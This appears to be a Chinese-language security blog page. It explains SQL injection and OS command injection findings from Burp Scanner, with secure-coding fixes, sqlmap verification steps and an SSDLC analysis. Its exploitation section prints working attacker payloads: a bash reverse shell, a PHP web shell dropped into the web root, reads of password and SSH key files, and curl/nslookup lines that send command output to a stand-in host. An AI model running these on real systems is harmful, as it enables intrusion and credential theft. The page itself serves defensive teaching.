欄位名稱無法使用 #{},此時必須搭配白名單驗證 -->
<select id="findAllSorted" resultType="Product">
SELECT * FROM products ORDER BY ${sortColumn} ${sortDirection}
</select>
// ✅ 對應的 Service 層白名單驗證(搭配上方 MyBatis XML)
private static final Set<String> ALLOWED_SORT_COLUMNS =
Set.of("name", "price", "created_at");
private static final Set<String> ALLOWED_DIRECTIONS =
Set.of("ASC", "DESC");
public List<Product> findAllSorted(String sortColumn, String sortDirection) {
// 嚴格驗證,不符合則使用預設值
if (!ALLOWED_SORT_COLUMNS.contains(sortColumn)) {
sortColumn = "created_at";
}
if (!ALLOWED_DIRECTIONS.contains(sortDirection.toUpperCase())) {
sortDirection = "DESC";
}
return productMapper.findAllSorted(sortColumn, sortDirection);
}
MyBatis 黃金法則:<code class="kb-btn">#{}</code> 用於值(value),<code class="kb-btn">${}</code> 僅用於結構性識別符(如欄位名、資料表名),且後者必須搭配嚴格的白名單驗證。
Node.js(Sequelize ORM)
// ❌ 危險:誤用 raw query 拼接
const result = await sequelize.query(
<code>SELECT * FROM products WHERE name = '${searchTerm}'</code>
);
// ✅ 安全:使用 replacements 參數
const result = await sequelize.query(
"SELECT * FROM products WHERE name = :name",
{ replacements: { name: searchTerm } }
);
// ✅ 最佳實務:使用 Sequelize Model API
const product = await Product.findOne({
where: { name: searchTerm }
});
注意:使用 ORM 的一般查詢方法(如 <code>findOne({ where: { id } })</code>)通常已內建參數化保護,但一旦使用 <code>raw()</code>、<code>literal()</code> 等方法,就必須自行確保安全。
6.3 長期預防建議
- 建立 Secure Coding Guidelines:明確規定所有資料庫存取必須使用參數化查詢或 ORM,禁止使用字串拼接方式組合 SQL。
- 程式碼審查(Code Review)設定 checklist:PR review 時明確檢查是否有字串拼接 SQL 的情況。
- CI/CD 整合 SAST 工具:透過 Semgrep、SonarQube、Checkmarx 等工具,在提交階段自動掃描危險的 SQL 拼接模式。
- 資料庫帳號最小權限設計:依功能拆分帳號,只讀功能使用只讀帳號,避免單一帳號擁有完整資料庫控制權。
- 關閉生產環境的詳細錯誤輸出:確保 production 環境的錯誤不會揭露 SQL 語法或資料庫結構資訊。
- 定期進行 DAST 掃描:將 Burp Suite Enterprise Edition 或類似工具納入 CI/CD pipeline,確保每次部署後自動掃描高風險注入點。
七、如何驗證是否修好?
7.1 Burp Suite Re-scan
修補完成後,使用 Burp Scanner 針對同一輸入點重新進行主動掃描,確認原始 issue 不再出現。
7.2 手動驗證重點
- 在相同的輸入點重新注入原本觸發問題的 payload(如 <code>'</code>、<code>' OR 1=1–</code>),確認回應不再出現資料庫錯誤或異常行為差異。
- 確認回應的 HTTP status code 與內容是否符合預期(例如:正常輸入 200 回應,注入 payload 亦回應統一的錯誤訊息而非 500 錯誤)。
7.3 程式碼層面確認
- 直接審閱已修改的程式碼,確認所有相關的資料庫操作均已改用參數化查詢或預備語句(Prepared Statement)。
- 使用 SAST 工具掃描修改後的程式碼,確認不再有字串拼接 SQL 的 pattern。
7.4 日誌觀察
- 確認應用程式日誌與資料庫日誌中不再出現 SQL 語法錯誤記錄。
- 若有 WAF,確認相關規則觸發記錄是否符合預期。
7.5 自動化測試
- 在單元測試或整合測試中加入針對 SQL Injection 的安全測試案例,例如:傳入含單引號、UNION 關鍵字等的輸入,驗證系統回傳預期結果而非資料庫錯誤。
- 將此類測試案例納入 CI pipeline,確保未來的程式碼變動不會重新引入漏洞。
7.6 sqlmap 驗證流程(授權環境專用)
⚠️ 重要前提:sqlmap 是攻擊性工具,僅可在已獲得書面授權的測試環境中執行,嚴禁對未授權系統使用。以下流程適用於修補後的回歸驗證,或在 staging 環境確認漏洞已消除。
安裝與環境準備
# 方式一:使用 pip 安裝(建議在 virtualenv 中執行)
pip install sqlmap
# 方式二:使用 Docker(隔離環境,推薦)
docker pull sqlmapproject/sqlmap
alias sqlmap="docker run --rm -it sqlmapproject/sqlmap"
# 確認版本
sqlmap --version
基本掃描:GET 參數
# 掃描單一 GET 參數
# --level 控制深度(1–5),--risk 控制風險等級(1–3)
sqlmap -u "https://staging.example.com/products?id=1" \
--level=2 \
--risk=1 \
--batch # 非互動模式,自動選擇預設選項
進階掃描:POST 參數(表單登入)
# 掃描 POST body 中的參數
sqlmap -u "https://staging.example.com/login" \
--data="username=admin&password=test123" \
--level=3 \
--risk=2 \
--batch \
--dbms=mysql # 若已知資料庫類型,指定可加速掃描
使用 Burp 攔截的請求直接測試
實務上最推薦的方式:先用 Burp Suite 攔截目標請求,儲存為 <code>.txt</code> 檔,再交給 sqlmap 測試。這樣可確保 Cookie、Session Token、CSRF Token 等 Header 都被正確帶入。
# 步驟一:在 Burp Proxy 攔截請求後
# 右鍵 → Save item → 存為 request.txt
# 步驟二:以請求檔作為輸入
sqlmap -r /path/to/request.txt \
--level=3 \
--risk=2 \
--batch
# 若目標需要登入狀態,確認 request.txt 中已包含有效的 Cookie/Session Header
針對特定參數指定測試
# 只測試 id 參數,避免觸碰其他無關參數
sqlmap -u "https://staging.example.com/api/user?id=1&page=2" \
-p id \
--level=2 \
--risk=1 \
--batch
驗證修補成效的判讀方式
修補前後的 sqlmap 輸出差異,是判斷是否修好的關鍵指標:
# ❌ 修補前(漏洞存在)的典型輸出
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
...
[CRITICAL] sqlmap identified the following injection point(s):
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1609=1609
---
# ✅ 修補後(漏洞已消除)的典型輸出
[INFO] testing connection to the target URL
[INFO] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[WARNING] GET parameter 'id' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.
常用 sqlmap 參數速查表
| 參數 | 說明 | 建議值 |
|---|---|---|
| <code>–level</code> | 測試深度(影響測試的參數範圍與 payload 數量) | 驗證用:2;完整測試:3–4 |
| <code>–risk</code> | 風險等級(較高值會使用可能修改資料的 payload) | 驗證用:1;謹慎使用 2–3 |
| <code>–dbms</code> | 指定資料庫類型(mysql/mssql/oracle/postgresql) | 已知類型時指定,加速掃描 |
| <code>–batch</code> | 非互動模式,自動選擇預設值 | 建議在 CI 環境中啟用 |
| <code>–tamper</code> | 使用混淆腳本(如 space2comment, charunicodeencode) | 測試 WAF 防禦效果時使用 |
| <code>–proxy</code> | 透過代理轉送流量(可搭配 Burp Suite 使用) | 除錯時使用 |
| <code>–forms</code> | 自動偵測並測試頁面上的 HTML 表單 | 快速掃描靜態頁面時使用 |
| <code>–crawl</code> | 從指定 URL 開始爬取並測試 | 完整測試時使用,注意流量 |
| <code>–output-dir</code> | 指定輸出報告目錄 | 建議指定,方便存檔比對 |
整合進 CI/CD Pipeline 的驗證腳本示意
#!/bin/bash
# sql_injection_check.sh
# 在 staging 部署後自動執行,確認目標端點不存在 SQLi
TARGET_URL="https://staging.example.com/api/product?id=1"
SQLMAP_OUTPUT_DIR="./security-reports/sqlmap"
mkdir -p "$SQLMAP_OUTPUT_DIR"
echo "[*] 開始 SQL Injection 驗證掃描..."
sqlmap -u "$TARGET_URL" \
--level=2 \
--risk=1 \
--batch \
--output-dir="$SQLMAP_OUTPUT_DIR" \
2>&1 | tee "$SQLMAP_OUTPUT_DIR/scan.log"
# 判斷是否發現注入點
if grep -q "identified the following injection point" "$SQLMAP_OUTPUT_DIR/scan.log"; then
echo "[FAIL] ❌ SQL Injection 漏洞仍然存在,請檢查修補狀態"
exit 1
else
echo "[PASS] ✅ 未發現 SQL Injection,驗證通過"
exit 0
fi
將此腳本加入 CI/CD Pipeline 的 post-deploy 階段,可在每次部署後自動確認關鍵端點的 SQLi 狀態,並透過 exit code 控制 pipeline 是否繼續進行。
八、從 SSDLC 角度,應該在哪個階段攔下來?
Requirements(需求階段)
在需求規格中明確定義安全需求:所有資料庫存取功能必須使用參數化查詢,並納入驗收條件(Acceptance Criteria)。若有使用外部套件或 ORM 框架的需求,應在此階段評估其安全性。
Design(設計階段)
架構設計時應定義資料庫存取層(Data Access Layer / DAO)的設計模式,規範統一透過參數化查詢介面進行資料庫互動,避免各功能模組自行組合 SQL。同時,應設計資料庫帳號的最小權限架構,並規劃錯誤處理機制(統一錯誤訊息,不暴露資料庫細節)。
Implementation(實作階段)
這是 SQL Injection 最常被引入的階段,也是最關鍵的防線。開發者在撰寫資料庫查詢時應強制遵循 Secure Coding Guidelines,並在 Code Review 時由同僚或資安人員檢查是否存在字串拼接 SQL 的模式。SAST 工具應在此階段即時提供反饋。
Verification(驗證階段)
執行 SAST 掃描(靜態分析)與 DAST 掃描(Burp Suite 等動態測試),同時進行人工 Penetration Testing,針對所有使用者輸入點測試 SQL Injection。此階段最適合發現並確認漏洞是否真實存在。
Deployment(部署階段)
確認生產環境的資料庫設定符合安全基準:關閉詳細錯誤輸出、確認帳號權限最小化、確認沒有測試用的 debug 設定殘留。可考慮在 WAF 規則層加入 SQL Injection 防護作為縱深防禦。
Operations(維運階段)
持續監控應用程式日誌與 WAF 日誌,設定異常查詢告警(如頻繁的 SQL 錯誤、異常高延遲查詢)。定期執行週期性 DAST 掃描,確保新功能上線後不引入新漏洞。同時,持續追蹤資料庫套件與 ORM 框架的安全更新。
最適合預防的階段:Implementation(實作)+ Design(設計)
最容易被發現的階段:Verification(驗證)+ Operations(維運)
九、這個漏洞常見的誤解
誤解一:「用了 ORM 就不可能有 SQL Injection」
ORM 確實大幅降低了 SQLi 的風險,但並非鐵板一塊。只要開發者使用 ORM 提供的 raw query 介面並進行字串拼接,風險依然存在。Django 的 <code>raw()</code>、Hibernate 的 <code>createNativeQuery()</code>、MyBatis 的 <code class="kb-btn">${}</code>,都是常見的「ORM 保護被繞過」情境。使用 ORM 不等於安全,關鍵在於如何使用。
誤解二:「有 WAF 就夠了,不用改程式碼」
WAF 是縱深防禦的一層,而非替代修補的理由。WAF 規則可能被繞過(如使用編碼、換行符、注釋變形等技巧),且 WAF 無法處理所有情境(如 Out-of-band 注入)。根本修補仍必須在程式碼層面完成。
誤解三:「我的資料庫只有內部資料,外洩也無所謂」
內部資料同樣可能包含員工個資、商業機密、系統帳號或 API 金鑰。攻擊者取得資料庫存取後,可能進一步利用資料庫帳號進行橫向移動,影響範圍遠超過原始資料本身。
誤解四:「參數化查詢會影響效能,不適合高流量系統」
這是一個常見但早已過時的疑慮。現代資料庫對 Prepared Statement 有良好的快取機制,在高流量系統中使用參數化查詢不僅安全,效能表現往往與動態 SQL 相當,甚至更好。效能考量不應成為放棄安全設計的藉口。
十、重點整理
- SQL Injection 的根本成因是使用者輸入未被適當區隔,直接參與 SQL 語句結構,應透過參數化查詢(Prepared Statement)從根本解決,而非依賴輸入跳脫或 WAF。
- Burp Scanner 透過主動注入異常 payload 來偵測 SQLi,掃描結果需人工驗證,確認是否為真實可利用漏洞;sqlmap 可用於授權環境的進一步確認與修補後回歸測試。
- 影響範圍從資料外洩到主機控制都有可能,取決於資料庫帳號權限與底層環境配置,不應低估。
- SSDLC 中最關鍵的防線在實作階段:Secure Coding Guidelines + Code Review + SAST 工具是阻止 SQLi 被引入的最有效組合。
- ORM、WAF、輸入驗證都是有價值的防禦層次,但都不能取代參數化查詢作為核心修補手段;縱深防禦各層應並行部署,而非互相替代。
十一、參考對照
| 欄位 | 內容 |
|---|---|
| Burp Scanner Issue Name | SQL injection |
| Severity | High |
| Index (hex) | <code>0x00100200</code> |
| Index (dec) | <code>1049088</code> |
| CWE-89 | Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
| CWE-94 | Improper Control of Generation of Code (‘Code Injection’) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CAPEC | CAPEC-66: SQL Injection |
[Burp Scanner Issue] 001 OS Command Injection 完整解析:成因、攻擊手法與安全修補指南
OS Command Injection(作業系統命令注入)在資安領域中幾乎是「最不應該出現、但現實中卻反覆出現」的漏洞之一。它的嚴重性不亞於 SQL Injection,但在許多開發團隊的意識中,卻常被低估,甚至因為「功能正常」而被忽略。
這個漏洞的危險之處在於它跨越了應用程式的邊界,直接觸及底層作業系統。一旦被成功利用,攻擊者不再受限於應用程式本身的功能範疇,而是能以伺服器身份執行任何系統命令——讀取敏感檔案、新增帳號、建立後門、或向內網發起橫向攻擊。這正是它在 Burp Scanner 中被標記為 High Severity 的主要原因。
一、這是什麼漏洞?
白話解釋
OS Command Injection 的核心問題是:應用程式在執行系統指令時,把使用者提供的資料直接拼接進命令字串,並透過 Shell 直譯器執行,卻沒有做足夠的驗證與隔離。
舉個具體例子:假設一個網站有個「Ping 測試」功能,前端讓使用者輸入 IP,後端程式碼這樣寫(Node.js 示意):
// ❌ 危險寫法
const { exec } = require('child_process');
const userInput = req.query.ip; // 使用者輸入,未驗證
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>, (err, stdout) => {
res.send(stdout);
});
當使用者輸入的不是合法 IP,而是 <code>8.8.8.8; cat /etc/passwd</code>,Shell 會把它拆解成兩個命令:
- <code>ping -c 4 8.8.8.8</code>
- <code>cat /etc/passwd</code>
兩個都會被執行,系統密碼檔案的內容就被吐回給攻擊者了。
漏洞本質
這個漏洞的本質是信任邊界的混淆:應用程式在建構命令時,沒有清楚區分「程式邏輯」和「使用者資料」,導致使用者資料被 Shell 當成命令邏輯來解讀。
與相近漏洞的差異
| 漏洞類型 | 注入目標 | 執行環境 |
|---|---|---|
| OS Command Injection | Shell 命令 | 作業系統層 |
| SQL Injection | SQL 查詢語句 | 資料庫層 |
| Code Injection | 應用程式語言(eval 等) | 應用程式執行環境 |
| LDAP Injection | LDAP 查詢 | 目錄服務層 |
OS Command Injection 的破壞力通常最大,因為作業系統層的權限往往超越資料庫或應用程式層。
二、Burp Scanner 為什麼會報這個問題?
偵測策略:主動掃描為主
Burp Scanner 對 OS Command Injection 的偵測主要依賴主動掃描(Active Scanning),被動掃描較難觸發此類問題。
Burp 會在可疑的輸入點(URL 參數、POST 表單欄位、HTTP Header、Cookie 值等)注入各種測試 Payload,並觀察回應行為來判斷是否存在注入點。
常見的偵測手法
Burp Scanner 通常使用以下幾種方式來偵測 OS Command Injection:
1. 時間延遲測試(Time-based Detection)
這是最常見也最可靠的偵測方式。Burp 注入像這樣的 Payload:
- Unix/Linux:<code>; sleep 10 #</code>、<code>|| sleep 10</code>、<code>& sleep 10 &</code>
- Windows:<code>& timeout /t 10</code>、<code>| timeout /t 10</code>
若伺服器回應時間明顯增加(例如延遲 10 秒),Burp 就會判定命令被執行。這種方法的優點是不依賴錯誤訊息,在 Out-of-Band 環境也適用。
2. 輸出回顯測試(Output-based Detection)
Burp 嘗試在命令中插入能產生固定輸出的指令,例如:
- Unix:<code>; echo BURP_CANARY_STRING</code>、<code>| id</code>、
<code> </code>whoami<code> </code> - Windows:<code>& echo BURP_CANARY_STRING</code>
若回應頁面中出現對應字串,Burp 會確認注入成功。
3. Shell 特殊字元模糊測試
Burp 會系統性地對輸入點注入各種 Shell 特殊字元,觀察回應是否出現錯誤訊息、行為改變或結構性差異:
; | || & && ` $() > >> < 換行符號(%0a)
4. Out-of-Band(帶外)偵測
當應用程式完全沒有回傳命令輸出時,Burp Pro 的 Collaborator 功能會讓伺服器主動向外發出 DNS 查詢或 HTTP 請求:
; nslookup $(whoami).attacker.burpcollaborator.net
若 Collaborator 收到請求,即確認命令執行成功。
重要提醒
Burp Scanner 的報告不等同於可穩定利用。 掃描器的判定是基於行為特徵,以下情況可能造成誤報(False Positive):
- 伺服器本身的網路延遲造成時間差誤判
- 應用程式碰巧在回應中回傳了類似 Canary 的字串
- WAF 或中間件篡改了請求/回應
所有 Burp 報告的 OS Command Injection 都應由資安人員進行人工驗證,確認是否真正可利用。
三、可能造成的風險與影響
OS Command Injection 被 Burp 標記為 High Severity,在 CVSS 評分中通常達到 9.0 以上,以下從多個面向說明實際衝擊:
機密性(Confidentiality)
- 讀取伺服器上的任意檔案(<code>/etc/passwd</code>、<code>.env</code>、設定檔、私鑰)
- 傾倒資料庫連線字串,進一步取得資料庫完整內容
- 取得雲端環境的 Instance Metadata(如 AWS EC2 的 IAM Token)
完整性(Integrity)
- 修改應用程式程式碼,植入 Web Shell
- 竄改系統設定檔,破壞應用程式正常運作
- 刪除或加密檔案(勒索軟體攻擊路徑之一)
可用性(Availability)
- 執行 <code>rm -rf /</code> 或大量消耗資源的命令,造成服務中斷
- 關閉關鍵服務或重啟系統
橫向移動(Lateral Movement)
應用程式伺服器通常位於 DMZ 或內網,攻擊者取得 Shell 後可利用伺服器作為跳板:
- 掃描內網其他主機
- 利用伺服器的內網憑證或信任關係,存取資料庫、儲存服務、內部 API
- 滲透至 Kubernetes 叢集、CI/CD 系統或程式碼倉庫
持久性(Persistence)
- 新增 SSH 公鑰至伺服器
- 設定 Crontab 定期執行惡意程式
- 安裝 Rootkit,即使漏洞被修補後仍保有存取權
即使執行命令的帳號權限受限(例如 <code>www-data</code>),攻擊者仍可透過本地提權漏洞或設定錯誤進一步擴大影響範圍。
四、常見成因
以下是工程師在開發過程中最常引入 OS Command Injection 的情境:
1. 直接拼接使用者輸入至命令字串
這是最根本的成因。開發者為了快速實現功能,直接使用字串拼接建構命令:
# ❌ Python 危險範例
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")
2. 使用 Shell=True 模式執行子程序
許多語言提供的子程序 API 有一個選項允許透過 Shell 執行,這讓 Shell 特殊字元生效:
# ❌ Python subprocess 危險寫法
import subprocess
subprocess.run(f"grep {user_input} /var/log/app.log", shell=True)
3. 呼叫外部工具時未隔離參數
應用程式需要呼叫外部工具(如 ImageMagick、ffmpeg、git、curl)時,直接將使用者輸入作為參數傳入,卻沒有用 Argument Array 隔離:
// ❌ Node.js 危險範例
const exec = require('child_process').exec;
exec(<code>ffmpeg -i ${req.body.inputFile} output.mp4</code>);
4. 對使用者輸入的信任過度依賴前端驗證
後端完全信任前端的下拉選單或 JavaScript 驗證,認為使用者只能輸入預期的值,沒有在後端做白名單驗證。攻擊者只需用 curl 或 Burp 直接發送惡意請求即可繞過前端限制。
5. 測試用的系統呼叫殘留至正式環境
開發或測試階段為了方便 Debug,直接加入了呼叫系統命令的功能(如執行 shell script、呼叫診斷工具),部署至正式環境時忘記移除。
6. 第三方套件或 CMS 插件引入的間接呼叫
應用程式本身可能沒有問題,但所依賴的第三方函式庫或 CMS 插件內部有不安全的命令呼叫。這類問題往往在 SCA(Software Composition Analysis)掃描時才被發現。
五、攻擊者可能怎麼利用?
攻擊思路概覽
攻擊者通常會按照以下流程逐步確認與利用 OS Command Injection:
階段一:偵察與確認
攻擊者首先找到所有將使用者輸入傳遞給後端的點,特別關注那些「看起來像是觸發伺服器動作」的功能,例如:檔案轉換、Ping/Traceroute 工具、報表匯出、DNS 查詢、系統健康檢查。
階段二:注入測試
從簡單的特殊字元開始,觀察回應是否有異常:
常用偵測 Payload(Unix/Linux):
# 時間延遲確認(若頁面慢 10 秒才回應,代表命令被執行)
; sleep 10
| sleep 10
&& sleep 10
%0a sleep 10 # 換行符注入
# 輸出回顯確認
; echo vulnerable123
| id
; whoami
<code>id</code>
$(id)
# Out-of-Band(需 Burp Collaborator 或自建 DNS Server)
; nslookup <code>whoami</code>.your-server.com
; curl http://your-server.com/$(id)
常用偵測 Payload(Windows):
& timeout /t 10
| timeout /t 10
& echo vulnerable123
& whoami
階段三:確認後擴大利用
一旦確認命令執行,攻擊者會嘗試:
# 確認環境資訊
; uname -a; id; pwd; env
# 讀取敏感檔案
; cat /etc/passwd
; cat /proc/self/environ
; cat ~/.ssh/id_rsa
# 建立反向 Shell(以 bash 為例)
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
# 植入 Web Shell(確保持久存取)
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
如何手動檢測
在人工驗證時,建議按照以下步驟:
- 用 Burp Suite 攔截請求,找出所有可疑輸入點(包含 Header 和 Cookie)
- 注入時間延遲 Payload,確認伺服器回應時間是否符合預期延遲
- 嘗試輸出回顯,確認命令結果是否出現在回應中
- 若前兩者皆無回應,使用 Burp Collaborator 進行帶外確認
- 記錄所有測試過程,包含 Request/Response,以便後續修補驗證
六、開發與維運團隊該怎麼修補?
6.1 短期補救措施
在正式修補完成前,可先採取以下緊急措施降低風險:
- WAF 規則強化:在 WAF 上加入規則,阻擋常見的 Shell 特殊字元組合(<code>;</code>、<code>|</code>、<code>&&</code>、
<code> </code><code>、</code>$()`)傳入可疑的 API 端點。但要注意,這只是緩解措施,有繞過風險。 - 流量監控與告警:在 SIEM 或 IDS 中設定規則,偵測包含 Shell 特殊字元的異常請求。
- 降低執行權限:確認應用程式執行帳號(如 <code>www-data</code>、<code>node</code>)的權限是否符合最小權限原則,避免攻擊者在注入後直接取得 root 權限。
- 暫時關閉高風險功能:若特定功能(如系統診斷工具)風險過高且非核心業務,評估暫時下架。
6.2 正確修補方式
原則一:完全避免使用系統命令(最優先)
大多數情境下,呼叫系統命令並非必要。以程式語言的原生函式庫替代:
// ❌ 危險:用命令列 ping
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>);
// ✅ 安全:用 Node.js 原生 DNS 函式庫
const dns = require('dns');
dns.lookup(userInput, (err, address) => {
// ...
});
# ❌ 危險:用命令列處理圖片
os.system(f"convert {user_file} output.png")
# ✅ 安全:用 Pillow 函式庫
from PIL import Image
img = Image.open(user_file_path) # 注意 user_file_path 仍需驗證是否為合法路徑
img.save("output.png")
原則二:使用 Argument Array,絕不透過 Shell 執行
若確實必須呼叫外部程式,使用 Argument Array 傳遞參數,讓作業系統直接 fork/exec,不經過 Shell 直譯器:
// ❌ 危險:透過 Shell 執行,Shell 特殊字元生效
const { exec } = require('child_process');
exec(<code>ffmpeg -i ${userInput} output.mp4</code>);
// ✅ 安全:Argument Array,不經過 Shell
const { execFile } = require('child_process');
execFile('ffmpeg', ['-i', userInput, 'output.mp4'], (err, stdout) => {
// Shell 特殊字元在這裡只是普通字串,不會被解讀
});
# ❌ 危險
import subprocess
subprocess.run(f"grep {keyword} /var/log/app.log", shell=True)
# ✅ 安全:列表傳參,shell=False(預設值)
subprocess.run(["grep", keyword, "/var/log/app.log"])
原則三:嚴格的白名單輸入驗證
若無法完全避免系統呼叫,在傳入命令前,對使用者輸入實施嚴格的白名單驗證:
# ✅ Python 白名單驗證範例
import re
def validate_ip_address(ip: str) -> bool:
"""只允許合法 IPv4 格式,拒絕所有其他字元"""
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
parts = ip.split('.')
return all(0 <= int(p) <= 255 for p in parts)
user_input = request.args.get('ip', '')
if not validate_ip_address(user_input):
return jsonify({'error': 'Invalid IP address'}), 400
# 此時才呼叫(且應搭配 Argument Array)
subprocess.run(['ping', '-c', '4', user_input])
6.3 長期預防建議
- 程式碼審查 Checklist:在 Code Review 的 Checklist 中加入「是否使用了 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code>」等危險模式的確認項目。
- SAST 工具導入:在 CI/CD Pipeline 中整合靜態應用程式安全測試(SAST),自動偵測危險的命令執行模式(如 Semgrep、Bandit、ESLint security plugin)。
- SCA 掃描:對依賴套件進行成分分析,確認第三方函式庫是否有已知的 Command Injection 漏洞。
- 容器最小化:以最小化的 Docker 映像執行應用程式,移除非必要的系統工具(如 <code>bash</code>、<code>nc</code>、<code>curl</code>),降低攻擊者可利用的工具數量。
- 開發者資安教育:定期對開發團隊進行 Secure Coding 訓練,讓大家瞭解「呼叫系統命令」是高風險操作,必須特別謹慎。
七、如何驗證是否修好?
修補完成後,應透過多種方式確認漏洞已被正確消除:
Burp Suite 重新掃描
在 Burp Scanner 中對修補後的端點重新執行主動掃描,確認不再觸發 OS Command Injection 的告警。若使用 Burp Enterprise,可在 CI/CD Pipeline 中整合自動掃描,確保每次部署後都能驗證。
手動驗證重點
- 重現原始 Payload:使用原本發現漏洞的 Payload,確認伺服器回應已正常,不再有時間延遲或命令輸出。
- 邊界測試:嘗試各種 Shell 特殊字元組合,確認白名單驗證是否足夠嚴謹。
- 繞過測試:測試 URL Encoding(<code>%3b</code>、<code>%7c</code>)、雙重編碼、Unicode 變體等,確認驗證邏輯沒有被繞過的空間。
- 確認使用 Argument Array:透過 Code Review 確認程式碼使用了安全的 API,而非依賴字串過濾。
日誌觀察
- 在修補後的測試期間,觀察應用程式日誌、WAF 日誌是否有異常請求被攔截
- 若有 IDS/SIEM,確認是否有針對 Shell 特殊字元的告警觸發
自動化測試
# 整合測試範例:確認命令注入 Payload 被拒絕
import requests
PAYLOADS = [
"; sleep 10",
"| id",
"&& whoami",
"<code>id</code>",
"$(id)",
"%0a id",
]
def test_command_injection_blocked():
base_url = "https://your-app.com/api/ping"
for payload in PAYLOADS:
response = requests.get(base_url, params={"ip": f"8.8.8.8{payload}"}, timeout=5)
# 確認請求在 5 秒內回應(排除 sleep 注入成功的情況)
assert response.elapsed.total_seconds() < 8, f"Possible injection with payload: {payload}"
assert response.status_code in [400, 422], f"Expected validation error, got: {response.status_code}"
八、從 SSDLC 角度,應該在哪個階段攔下來?
OS Command Injection 是一個在所有 SSDLC 階段都應該被關注的漏洞,但各階段的著力點不同:
Requirements(需求階段)
預防重點: 在定義功能需求時,就應明確規範哪些功能「不應使用系統命令呼叫」。若業務需求確實需要呼叫外部程式,應在需求文件中標記為高風險功能,並要求設計和實作時採用安全機制。
實務上,許多「Ping 工具」、「檔案格式轉換」等功能在需求階段就可以改用程式庫實作,完全避免系統呼叫的需求。
Design(設計階段)
預防重點: 進行威脅建模(Threat Modeling)時,識別所有需要呼叫外部程序的設計決策,並在設計文件中明確規範安全的呼叫方式(Argument Array、最小權限帳號、沙盒環境)。
設計時也應考慮是否需要針對此類功能設計額外的存取控制層,確保只有授權使用者才能觸發涉及系統呼叫的操作。
Implementation(實作階段)
最容易引入漏洞的階段,也是最重要的防禦點。
- 制定 Secure Coding Guidelines,明確禁止使用不安全的命令執行模式
- 進行 Peer Code Review 時,重點審查所有涉及 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code> 的程式碼
- 使用 SAST 工具(如 Semgrep、Bandit)在開發階段即時偵測危險模式
Verification(驗證階段)
最容易被發現的階段。
- 執行 DAST 掃描(如 Burp Scanner、OWASP ZAP)對所有輸入點進行自動化測試
- 安排 Penetration Testing,由資安人員人工驗證高風險功能點
- 在 CI/CD Pipeline 中整合自動化安全測試,確保每個 PR 都通過基本的安全檢查
Deployment(部署階段)
預防重點: 確保部署環境遵循最小權限原則:
- 應用程式執行帳號只有必要的系統權限
- 容器映像移除不必要的系統工具
- 啟用 AppArmor 或 Seccomp Profile,限制容器可執行的系統呼叫
Operations(維運階段)
預防重點: 建立持續監控機制:
- WAF 規則定期更新,涵蓋最新的繞過手法
- SIEM 告警規則偵測異常的系統命令執行行為
- 定期進行安全掃描(週期性 DAST),確保新功能沒有引入新的注入點
- 建立漏洞回報與修補的 SOP,確保發現問題時能快速處置
最佳預防時機: Requirements → Design → Implementation(越早越好)
最容易發現時機: Verification → Operations
九、這個漏洞常見的誤解
誤解一:「Burp 掃到了,但我們有 WAF,應該沒問題」
WAF 是一層重要的防禦,但不是萬靈丹。攻擊者有許多繞過 WAF 的手法,包含 URL 編碼、大小寫混用、使用替代的 Shell 語法(如 <code class="kb-btn">${IFS}</code> 替代空格)。
正確的做法是修復根本原因(使用安全 API、實施白名單驗證),而不是依賴 WAF 來遮掩問題。
誤解二:「掃描器說是 High,但應用程式只是一個內部工具,沒有對外開放」
即使是內部工具,OS Command Injection 仍然危險。內部使用者(包含被攻擊的內部帳號、或透過 VPN 進入的攻擊者)都可能利用這個漏洞。許多大型資安事件的起點,正是一個「不重要的內部工具」。
誤解三:「我們做了輸出編碼,所以是安全的」
輸出編碼(Output Encoding)是防禦 XSS 的手段,不能防禦 OS Command Injection。這兩者是不同的漏洞,需要不同的防禦機制。防禦 OS Command Injection 的核心是輸入驗證和使用安全 API,而非輸出編碼。
誤解四:「掃描有報不代表真的可以利用,先放著沒關係」
時間延遲型的 Command Injection 確認方式已相當可靠,「有報有原因」是基本原則。即便在極少數的誤報情況下,也應該花時間人工確認並關閉。把高風險漏洞列為「待確認」而長期擱置,是許多企業資安事件的共同前因。
十、重點整理
- OS Command Injection 的根本成因是信任邊界的混淆:應用程式將未驗證的使用者輸入傳遞給 Shell 直譯器,讓使用者資料被當成命令邏輯執行。
- 修補的最優先策略是完全避免系統命令呼叫,改用程式語言的原生函式庫;若必須呼叫外部程式,應使用 Argument Array,絕對不透過 Shell 傳遞命令字串。
- Burp Scanner 的高嚴重性報告需要人工驗證,但絕不應因此而輕忽——時間延遲型偵測的可靠度相當高,誤報率低。
- 從 SSDLC 角度,預防 OS Command Injection 最有效的階段是 Requirements 和 Implementation,越早在設計上排除「使用系統命令」的需求,修補成本越低。
- WAF、最小權限、容器隔離都是重要的縱深防禦層,但不能取代根本的程式碼修補——安全的架構需要多層防線同時到位。
十一、參考對照
| 項目 | 內容 |
|---|---|
| Burp Scanner Issue Name | OS command injection |
| Severity | High |
| Type Index (Hex) | 0x00100100 |
| Type Index (Dec) | 1048832 |
| CWE-77 | Improper Neutralization of Special Elements used in a Command (‘Command Injection’) |
| CWE-78 | Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) |
| CWE-116 | Improper Encoding or Escaping of Output |
| CAPEC | CAPEC-248: Command Injection |
| 參考資源 | Web Security Academy: OS command injection |
[安全測試] 004 滲透測試入門完整指南:從攻擊者角度看系統|PTES 流程與資安廠商合作實戰
「你不需要成為駭客,才能理解駭客怎麼思考。但你必須理解駭客怎麼思考,才能真正保護你的系統。」
一、滲透測試是什麼?為什麼開發者也需要懂?
